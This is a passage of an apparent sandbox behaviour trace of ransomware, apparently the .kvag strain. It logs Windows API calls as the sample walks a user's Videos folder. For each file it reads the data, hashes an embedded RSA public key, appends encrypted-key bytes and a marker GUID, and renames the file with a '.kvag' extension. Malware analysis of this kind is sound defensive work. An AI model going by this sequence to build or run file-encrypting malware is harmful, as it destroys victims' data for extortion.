KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.206] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.206] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.207] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.207] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.207] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.207] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.207] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.207] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.207] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.207] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.207] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.208] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.208] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.208] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.208] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.208] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.208] CloseHandle (hObject=0x61c) returned 1 [0120.209] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4 Bc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4 bc.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4 Bc.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4 bc.flv.kvag")) returned 1 [0120.213] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.213] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0120.213] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea682770, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0x76babf40, ftLastAccessTime.dwHighDateTime=0x1d4ca33, ftLastWriteTime.dwLowDateTime=0x76babf40, ftLastWriteTime.dwHighDateTime=0x1d4ca33, nFileSizeHigh=0x0, nFileSizeLow=0x182d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FKhUWfx-d 3P.mp4", cAlternateFileName="FKHUWF~1.MP4")) returned 1 [0120.213] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FKhUWfx-d 3P.mp4") returned=".mp4" [0120.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FKhUWfx-d 3P.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fkhuwfx-d 3p.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.213] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=99030) returned 1 [0120.213] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.214] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.214] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.216] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x182d6, lpOverlapped=0x0) returned 1 [0120.217] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.217] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.217] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.217] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.217] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.217] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.218] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.218] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.218] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.218] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.218] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.218] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.218] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.218] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.219] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.219] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.219] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.219] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.219] CloseHandle (hObject=0x61c) returned 1 [0120.221] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FKhUWfx-d 3P.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fkhuwfx-d 3p.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FKhUWfx-d 3P.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fkhuwfx-d 3p.mp4.kvag")) returned 1 [0120.223] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b606dd0, ftCreationTime.dwHighDateTime=0x1d4cbed, ftLastAccessTime.dwLowDateTime=0xade3f5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca1c, ftLastWriteTime.dwLowDateTime=0xade3f5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca1c, nFileSizeHigh=0x0, nFileSizeLow=0x1195, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MYQH9-tR9ltp09e.flv", cAlternateFileName="MYQH9-~1.FLV")) returned 1 [0120.223] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MYQH9-tR9ltp09e.flv") returned=".flv" [0120.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MYQH9-tR9ltp09e.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\myqh9-tr9ltp09e.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.224] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=4501) returned 1 [0120.224] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.225] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x116f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.225] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.227] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1195, lpOverlapped=0x0) returned 1 [0120.228] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.228] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.228] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.228] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.228] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.228] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.228] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.228] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.229] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.229] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.229] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.229] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.229] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.229] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.229] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1195, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.229] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.229] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.229] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.229] CloseHandle (hObject=0x61c) returned 1 [0120.230] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MYQH9-tR9ltp09e.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\myqh9-tr9ltp09e.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MYQH9-tR9ltp09e.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\myqh9-tr9ltp09e.flv.kvag")) returned 1 [0120.232] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37a52a0, ftCreationTime.dwHighDateTime=0x1d4d18b, ftLastAccessTime.dwLowDateTime=0x329455c0, ftLastAccessTime.dwHighDateTime=0x1d4d419, ftLastWriteTime.dwLowDateTime=0x329455c0, ftLastWriteTime.dwHighDateTime=0x1d4d419, nFileSizeHigh=0x0, nFileSizeLow=0x6fc6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oMZDvujBwo0QTetEg.mp4", cAlternateFileName="OMZDVU~1.MP4")) returned 1 [0120.232] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oMZDvujBwo0QTetEg.mp4") returned=".mp4" [0120.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oMZDvujBwo0QTetEg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\omzdvujbwo0qteteg.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.232] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=28614) returned 1 [0120.232] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.234] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6fa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.234] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.235] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x6fc6, lpOverlapped=0x0) returned 1 [0120.236] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.236] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.236] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.236] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.237] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.237] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.237] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.237] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.237] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.237] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.237] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.237] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.237] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.237] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.238] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6fc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.238] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.238] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.238] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.238] CloseHandle (hObject=0x61c) returned 1 [0120.239] MoveFileW 